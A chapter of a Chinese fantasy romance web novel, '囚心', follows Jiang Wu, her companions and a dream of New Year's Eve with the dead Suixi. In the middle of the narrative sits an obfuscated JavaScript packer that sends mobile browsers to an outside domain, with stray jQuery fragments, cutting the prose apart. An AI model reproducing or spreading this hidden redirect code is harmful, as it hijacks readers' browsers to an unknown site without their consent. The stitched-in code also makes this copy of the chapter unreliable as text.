74. 违心

作品:《囚心

    寂满怪异地叫了一声,他抬眸看向姜芜,“你居然也会是这般肤浅的人,居然会被外表所迷惑?!他长得鬼气森森的,要吓死人了,也就你觉得好看而已,那句话怎么说来着?情人眼里出西施?”


    姜芜忍俊不禁,将一袋瓜子糖放在了寂满的手中,“王八看绿豆,看对眼了呗,就像你说的那般,这种感觉在其他人身上是没有的。”


    寂满从荷包中捏出几粒瓜子糖放进口中咀嚼,“我不是那个意思,我的意思是虽然人族都说修罗面目可怖,但是我见过得都长得挺好看的,你是怎么从那么多好看的修罗里面挑中睢羲的?”


    姜芜坐到围栏上,仔细地思索了片刻才对寂满说:“他强大啊,会照顾人,跟他在一起很多事情不用发愁的,他会处理好一切的,会满足我的所有要求。”


    寂满眉心紧拢,一脸不解地看向姜芜,“你这个描述让我想起一个人,也不知晓睢羲是怎样阴沉着一张脸照顾你的,你不害怕吗?”


    姜芜挑眉,“你想起了谁?”


    寂满认真地回道:“我娘,我娘很强大,会照顾我,跟她在一起很多事情都不用发愁,她会给我提供充足的食物和巢穴,而且会处理好一切。我小时候只需要将自己盘起来,乖乖地等她回来就好,即便是什么都不做,她也会夸我听话。”


    姜芜掩唇笑了起来,“听起来确实有些像,不过我同睢羲没有血缘关系的。”


    寂满想起姜芜同睢羲的关系,顿时觉得后脊发凉,他有些想不明白修罗一族的相处方式,只能无奈地摇了摇头,“你们修罗真是奇怪,这样居然能处出亲情之外的感情来。”


    姜芜解释道:“不是你想得那般,也不是同荆州萧氏那般,我曾经受过很严重的伤,将他忘记了,是他一直在照顾我,直到我想起所有的事情。”


    寂满似懂非懂地点了点头,“也就是说你们的关系很好喽。”


    “是不差。”


    宿凌薇见雾沅一直看着窗外,忍不住好奇地凑上前,“你在看什么呢?”


    雾沅抬手抵在唇前示意宿凌薇噤声,伸手指了指廊庭中围着药炉谈笑的两个人,“我已经很久未看到姜芜如此开心了。”


    宿凌薇诧异地看向雾沅,“你在开玩笑吧,这才是濯濯本来的样子啊,我倒是还纳闷她前几日为何一直愁眉不展,睢羲......到底怎么死的?不会是突然疯癫了吧?”说完,她的面色逐渐惊恐。


    雾沅蹙眉,“为何修罗会突然疯癫?”


    宿凌薇神情郁结地思索了片刻,随即展颜一笑,“你可以认为是走火入魔,无论是人族亦或者妖族在修行的过程中都会如此,气血逆行,真元紊乱,功力全无,重则性命不保,但是修罗的走火入魔,只会让修罗更强,而且没有神志,会随意且无差别的攻击任何人。后续发觉天河之水能够延缓疯癫之症,但是也仅限于未发作之前,若是已经得了疯癫之症,那便无力回天了,但是近些年我发觉灵气似乎同天河之水有一样的功效。”


    雾沅问道:“何以见得?”


    宿凌薇说:“当初段怀野设下的封印,自此已经三百二十八年,在十年前出现裂痕松动,所以在封印设立之初后的三百一十八年,无幻之境内得疯癫之症的修罗数不胜数,不仅仅是老修罗,很多年轻的修罗也会这般,但是封印松动后,这个数量便下降了,因为百衢和睢羲四处奔波的时间变短了。”


    雾沅蹙眉,他扭头看向廊庭下笑靥如花的姜芜,“无幻之境的封印居然是十年前松动的吗?松动之前,没有修罗去过人间吗?”


    宿凌薇摇了摇头,“并没有,你为何这般问?”


    雾沅眉心拢得更紧,“据我所知七仙是在段怀野死后第两百一十五年出现并活跃的,而姜芜在一百多年前挖取了他们的心脏,照你的意思来看,一百多年前无幻之境并没有出现裂痕,姜芜是如何出现在人间的?”


    宿凌薇神情疑惑地看向雾沅,“她不是同段怀野交好吗?或许段怀野并没有将她封印进去也未必......不对,段怀野死后,我曾在无幻之境内见过濯濯......太奇怪了,这是为何呢?”


    雾沅伸手捏了捏胀痛的眉心,“灵气可以缓解修罗癫狂之症的事情,姜芜知晓吗?”


    雾沅有些想不明白,现下姜芜种族不明,又要执意封印无幻之境,她同修罗一族如此交好,甚至还有宿凌薇这般的好友,却要不顾往日情谊通通置他们于死地,似乎只有她是人族这一个答案,才能解释她为何执着这般,不顾一切也要封印无幻之境,只为换人间太平。


    宿凌薇摇了摇头,“我并不知晓她知不知晓这件事,也不知晓睢羲有没有对她说过,不过这只是我的猜测而已。”


    雾沅神情凝重地盯着宿凌薇看了片刻,“那你知晓姜芜此行的目的吗?”


    宿凌薇讶然,“目的?”


    姜芜端着一碗汤药进门,见雾沅同宿凌薇皆是一副心事重重的模样,“发生何事了?”


    雾沅摇了摇头,“你今日对十方楼之事了解得如何?”


    姜芜把药碗放在桌上,“听他们的大长老讲了一个半真半假的故事而已,具体事情的真相如何,还要找到设下诅咒之术的修罗。”


    常奉眠在寂满的搀扶下从房间内走了出来,她浑身无力,走得便有些缓慢,她咬着牙努力跟上寂满的步伐。


    从卧房到正厅的距离并不是很远,但寂满依旧察觉到了常奉眠紊乱的呼吸声。


    “眠眠,你感觉如何?”寂满停下脚步,他手中托着常奉眠的手臂,俨然做好了要背她的准备,“是不是不舒服,需要我背你吗?”


    常奉眠摇了摇头,气若游丝地说:“不必了,马上便到了。”


    寂满牵引着常奉眠的手放到了他的肩膀上,“来吧,不然一会没力气喝药了,今天的药感觉很苦的样子。”


    常奉眠动作一顿,随即顺从地趴在了寂满的后背上,她实在是太累了,四肢像是灌了铅一般,没有多少力气支撑她走路,若是可以的话,她愿意一睡不醒,但是梦中总是被血染红的村落,以及父亲他们杀红了眼的模样。


    “眠眠哪里不舒服?”


    姜芜见寂满背着常奉眠进门,立刻上前帮扶着让后者坐在了罗汉床的软靠中,随即上前去探她的脉息。


    “眠眠,先喝药吧。”


    姜芜拉着常奉眠的手去碰桌上的碗,“喝了药再吃些东西,好好休息。”


    常奉眠捧着药碗,轻轻地问道:“濯漪,我是不是要死了?我真的觉得好累啊,我感觉要撑不住了,不行,我要撑下去,我要替我的族人报仇。”


    寂满听着常奉眠这么说,心中难免不熟爽,轻声说:“眠眠,别说傻话了,你会好起来的。”


    姜芜板着脸说:“常奉眠,再不喝药,可就真的没法帮族人报仇了,你便只能等死了。”


    常奉眠周身一震,立刻捧起药碗,一口气将里面的药全部喝了下去,她忍住想要干呕的冲动,“我要帮我的族人报仇……”说完,她便伏在桌边捂嘴干呕了起来。


    姜芜抬手塞了方帕子在常奉眠的手中。


    寂满见状立刻取出来那带瓜子糖,在常奉眠擦干净手之后,放了一撮在她的手心里,“尝尝,姜芜给的,又香又甜。”


    宿凌薇看着常奉眠短短几日便被瘴气折磨得瘦了一大圈,伏在桌上干呕时连肩胛骨都能看得出,不大的年纪遭此横难,实在是令人唏嘘。


    恰逢十方楼的小道童送来了晚饭,几个人围着桌子随意地吃了几口,便各自回房间休息了。


    宿凌薇倚靠在庭廊中,透过窗户看着姜芜收拾床榻,她手中拿着一壶酒,透过角檐便能看到逐渐暗下来的天空。


    “你有事想同我讲?不进来?”


    姜芜收拾好一切,伏到窗沿上去看宿凌薇。


    宿凌薇仰头喝了一口酒,开口问道:“睢羲到底是如何死的?我方才问那只蝶妖了,他并没有同我讲。”


    姜芜莞尔,“你怎么突然关心起他了?”


    “因为你啊,之前在云舟上是我误会了,我以为你的伤心难过是因为段怀野,看来是我误会了。”宿凌薇偏头看向姜芜,“他是突然疯癫了吗?你杀了他?”


    姜芜眉心一跳,整颗心都被揪了起来,她垂眸浅笑,苦涩的滋味油然而生,“也算是吧,也算是吧。”


    宿凌薇蹙眉,“是便是,不是便不是,也算是为何意?濯濯,你不能将其他人的死都揽到自己的身上。”


    姜芜按了按眉心,顿时觉得身心俱疲,“事情已经发生了,我不想谈论这个,没有任何用处。”


    宿凌薇幽幽地叹了一息,“那我不问了,休息吧。”说完,她便拎着酒壶转身离开。


    姜芜静立了片刻,随即关好门窗折回榻前,将一瓶酒取出放在矮凳上,她看着手中的幻梦水,取下塞子往酒中滴入一滴。


    幻梦水迅速融入酒液之中,编织出一个虚幻的沉醉之梦。


    姜芜仰头喝下全部的酒,沉沉地进入了梦乡之中,梦中有她最思念之人,也是想见却再也见不到的人。


    睢羲同百衢处理完一个疯癫的修罗后才发觉已经误了时辰,今日是人间除夕,他同濯漪约定好要去人间过新年的,现下估计是赶不及了。


    百衢见睢羲一副郁郁寡欢的模样,便知晓他又是在胡思乱想一些没用的事情,抬手擦了一把脸上的血,上前勾住了睢羲的脖颈,“走,解决完了,找地方喝酒去。”


    睢羲伸手拿下了百衢的手,“下次吧,我还有事。”


    “啧。”


    百衢神情不悦地说:“都已经过了时辰了,还回去做甚?濯濯说不定早就自己去,没有等你了,而且她自己又不会丢了,你不必事事都要跟着她。”


    睢羲说:“不是事事,是很久之前便约定好了今日,下次一定同你喝酒,不会爽约的。”


    百衢刚要开口便看到睢羲急匆匆地化成一道戾气离开。


    濯漪点着灯在院子中照看自己的的花草,长夜之下,植物缺少阳光全部一副营养不良的模样,瘦弱又蔫黄,蔫头耷脑的,而且没有阳光根系便会停止生长,水一多就会出现糜烂的情况。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548287|163894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    濯漪幽幽地叹了口气,将死掉的花草全部拔了出来。


    “濯濯。”


    濯漪闻声看去,随即丢开手中的花草迎上前,笑着说:“睢羲,你回来了,还顺利吗?”


    睢羲的脸上带着一丝的不安,“现下是什么时辰了?”


    濯漪脸上笑意更浓,她拱手对睢羲说:“新的一年要平安顺遂,喜乐无忧。”


    睢羲有些愧疚地抿了抿双唇,“还是没赶上吗?”


    “赶上了啊。”


    濯漪笑着从袖袋中取了一支烟花,用戾气点燃后,烟花在手中绽放出漂亮的花朵,成为永夜的无幻之境唯一的光芒。


    “好看吗?”


    睢羲看着濯漪手中的烟花,又去看她被烟花映得分外美丽的笑靥,点了点头说:“好看。”


    “好了好了,看完了看完了,吃饭了吃饭了,我都快饿死了。”


    濯漪扔掉手中残留的烟花碎,拉着睢羲走进了树中,木桌上摆放了一只食盒,她打开盒盖将里面的吃食全部取了出来,“尝尝,这是年糕,可好吃了。”


    睢羲伸手接过用油纸包住的年糕,缓慢地将油纸展开,红枣黄米年糕的香味扑鼻而来,只见大黄米和着豆沙馅与红枣碎,表层铺了一层香甜的蜜枣。


    濯漪迫不及待地拨开油纸,多咬了几口里面的年糕来解馋,年糕绵软,甜而不腻,她见睢羲一直不吃,便开口催促道:“尝尝啊,除了过年这几日,平时可是吃不到的。”


    睢羲动作轻柔地擦掉濯漪唇角粘到了豆沙碎,低头咬了一口年糕。


    濯漪又将黄米桂花馒头、八宝鸭、烤鸡、以及冬笋炒腊肉几道菜推到了睢羲面前。


    “吃吃看,我觉得都很好吃。”


    睢羲看着濯漪兴致冲冲地介绍菜品,取了筷子全部都吃了一些,“好吃,你挑得都很好吃。”


    濯漪见睢羲多夹了几次冬笋炒腊肉,便将盘子往她面前推近了几分。


    睢羲见状面上闪过一丝讶然,“这些都是你做的?”


    濯漪咬着年糕不去看睢羲,唇角却一直带着按捺不住的笑容,“除了年糕和黄米桂花馒头哦。”


    睢羲摸了摸濯漪的头发,温声夸赞道:“濯濯真厉害。”


    濯漪脸上的笑意更浓,她靠在睢羲的肩上,开口说:“过年嘛,主要是团聚,再就是吃好吃的东西和守岁,虽然我每天都同你在一起,但是还是想与你体验些不同的。”


    睢羲将濯漪抱到腿上,让她坐进自己的怀里,“谢谢濯濯带我体验不同的东西。”


    濯漪闻言笑而不语,只是飞快地探头啄了一下睢羲的双唇。


    睢羲回吮一下濯漪的唇珠,勾去她唇上的年糕碎,抵着她的额头说:“快吃吧,要凉了。”


    月上中天,清辉满屋。


    姜芜睁开双眸,她深深地吸了一口气,躺在床榻上不愿意动,沉浸在梦的余韵之中难以回神,朦胧之间察觉到有人背对着她坐在床边。


    姜芜伸出手摸索了过去,借着来者的臂弯起身,似身若无骨般地挂在他的后背上,脸贴在他的肩背处。


    “怎么起了?是不是很难受?”


    姜芜伸出手顺着宽厚的胸膛一阵摸索,在即将到达心口处时,却被一把拢住了手。


    “又不给我看吗?”


    姜芜等了片刻,见他不语也不在强求,自顾自地起身预备下床。


    睢羲伸手攥住她的手腕,出声问道:“去哪里?”


    姜芜顺势坐在脚踏上,扭着身子趴在睢羲的腿上,虚虚地合着眼眸,“睡前喝了太多酒啦,现下有些口渴,去找着水喝。”


    “为何要喝那么多酒?”


    睢羲伸手一下一下地顺着姜芜的长发,怕她坐在脚踏上冷,伸手将她抱在了怀中,拢着她微凉的腿脚,低声重复道:“为何要喝那么多酒?”


    姜芜靠在睢羲的怀中,指尖卷着他的墨发,轻声说:“想见你,有好多话想对你说,或许喝醉了便能见到你了。”


    睢羲问道:“你想同我讲何事?为何总是一而再再而三的出尔反尔,不是说好要分道扬镳的吗?为何现下还要装作一副可怜的模样?像是我弃你于不顾。”


    姜芜的声音轻轻,“不是你追到荆州去的吗?说我可怜,让你心疼,每日去并州买新鲜的海产,还要往自己的心口刺噬魂骨钉,你到底要做何事?你也知晓我们已经分道扬镳了,结果呢?若是你听我的,乖乖待在无幻之境内,哪里还有现下这般?你怨我好了。”


    睢羲蹙眉,伸手挑去姜芜脸上的泪珠,“濯濯,我们携手共进,风风雨雨这么多年,我不信你是随便的人,是你要做何事?你同我讲清楚,有些事情未必没有折中解决的法子,不要总是想着一个人承担。”


    姜芜周身一震,抬眸看向睢羲,眉心微拢,她抬手描摹着后者的五官,目光眷恋。


    “我想你恨我,我想你远离我。你靠近我,什么东西都远离了你,只有死亡靠近了你,若是没有我,我们就不会在梦中相见了。”


    睢羲蹙眉,“濯濯,这是你的真心话吗?”